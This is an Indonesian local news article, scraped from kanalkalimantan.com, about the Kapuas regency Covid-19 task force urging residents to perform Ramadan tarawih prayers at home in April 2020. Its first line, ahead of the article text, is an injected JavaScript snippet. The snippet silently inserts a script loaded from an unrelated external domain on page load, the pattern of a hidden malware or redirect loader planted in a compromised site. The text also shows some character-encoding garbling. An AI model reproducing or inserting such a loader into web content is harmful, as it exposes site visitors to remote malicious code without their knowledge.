(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Gugus Tugas Percepatan Penanganan Covid-19 Kabupaten Kapuas menerima laporan masih terdapat beberapa masjid dan Ianggar yang menyelenggarakan shalat tarawih berjamaah.
Hal tersebut segera disikapi untuk mengantisipasi penuIaran wabah Covid-19. Gugus Tugas Covid-19 melakukan rapat yang melibatkan Kepala Kantor Kementerian Agama Kabupaten Kapuas dan MUI.sabtu (25/4/2020) jam 14.00 Wib.
Ketua Harian Gugus Tugas Covid-19 Kapuas Panahatan Sinaga mengatakan, ada tiga kesimpulan dalam rapat tersebut setelah pihaknya mendengarkan MUI, Kakemenag, Polres, Kesbangpol dan pihak Kecamatan Selat. “Pertama, kita akan bentuk tiga tim, yang mana dalam satu tim ada lima orang, terdiri dari dinas kesehatan, kepolisian, TNI, kemenag dan MUI,†ujarnya.
Lanjut Ketua Harian Gugus Tugas Covid-19 Kapuas, tim tersebut nanti akan melakukan upaya persuasif guna menjelaskan kepada masyarakat mengenai surat edaran menteri agama nomor 6 tahun 2020 tentang panduan ibadah ramadhan di tengah pandemi Covid-19.
“Tim tersebut nanti akan mendatangi warga yang masih melaksanakan ibadah shalat tarawih di masjid atau di langgar, dan memberikan penjelasan dan pemahaman terkait surat edaran menteri agama nomor 6, disana sudah jelas tata cara ibadah di tengah pandemi Covid-19,†ucapnya.
Selain itu, pihaknya juga akan membuat surat edaran kepada camat, kepala desa/lurah untuk meneruskan surat edaran menteri agama nomor 6 tahun 2020 tersebut. “Yang intinya mengimbau kepada masyarakat untuk melaksanakan tarawih di rumah saja dengan keluarga inti sesuai surat edaran menteri agama,†ucap Kepala Pelaksana BPBD Kapuas tersebut.
Selanjutnya yang ketiga, pihaknya mengingatkan kembali kepada masyarakat untuk mematuhi edaran meneteri agama tentang panduan ibadah Ramadhan di tengah pandemi Covid-19, salah satunya agar melaksanakan tarawih di rumah saja.
“Melalui kesempatan ini kami kembali menghimbau kepada masyarakat Kabupaten Kapuas untuk mematuhi imbauan pemerintah dalam hal mencegah atau memutus mata rantai virus Covid-19,†tukasnya.
Sebelumnya, Kepala Kemenag Kabupaten Kapuas H Ahmad Bahruni telah menyampaikan surat edaran menteri agama nomor 6 tahun 2020 tentang panduan ibadah ramadhan di tengah pandemi covid-19 tersebut, yang berlangsung di halaman Masjid Agung Al Mukarram, Selasa (13/4/2020) lalu.
Dalam kesempatan itu ia didampingi beberapa tokoh agama diantaranya Ketua Umum MUI KH Nurani Sarji, Rois Syuriah NU KH Muchtar Ruslan, Ketua Muhammadiyah H Masrani, Ketua FKUB H Masyumi Rivai dan Ketua ICMI H Junaidi.
Kamenag H Bahruni menerangkan kepada seluruh umat muslim di Kabupaten Kapuas agar melaksanakan sahur dan buka puasa secara individu bersama keluarga di rumah, serta tidak perlu sahur on the road dan buka puasa bersama yang bersifat mengumpulkan orang banyak.
“Untuk sementara waktu agar lembaga pemerintahan, lembaga swasta dan masjid atau mushola meniadakan dulu buka puasa bersama yang bersifat mengumpulkan banyak orang, dan melaksanakan shalat tarawih dan tilawah Al-Quran secara individu atau bersama keluarga dirumah saja,†ucap H Bahruni.
H Baruni juga mengatakan, sesuai surat edaran tersebut untuk meniadakan peringatan Nuzullul Qur’an dalam bentuk tabliq akbar serta tidak melaksanakan iktikaf pada 10 malam terakhir bulan ramadan di masjid atau mushola masing-masing.
“Perihal kondisi sekarang, umat islam tentu wajib menjalankan ibadah puasa dibulan ramadhan sesuai ketentuan fikih ibadah. Hanya saja terdapat beberapa hal yang perlu tiadakan yang sifatnya mengumpulkan orang banyak demi mencegah penyebaran corona virus Diseises-19 (covid-19),†jelasnya. (Kanalkalimantan.com/Ags)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.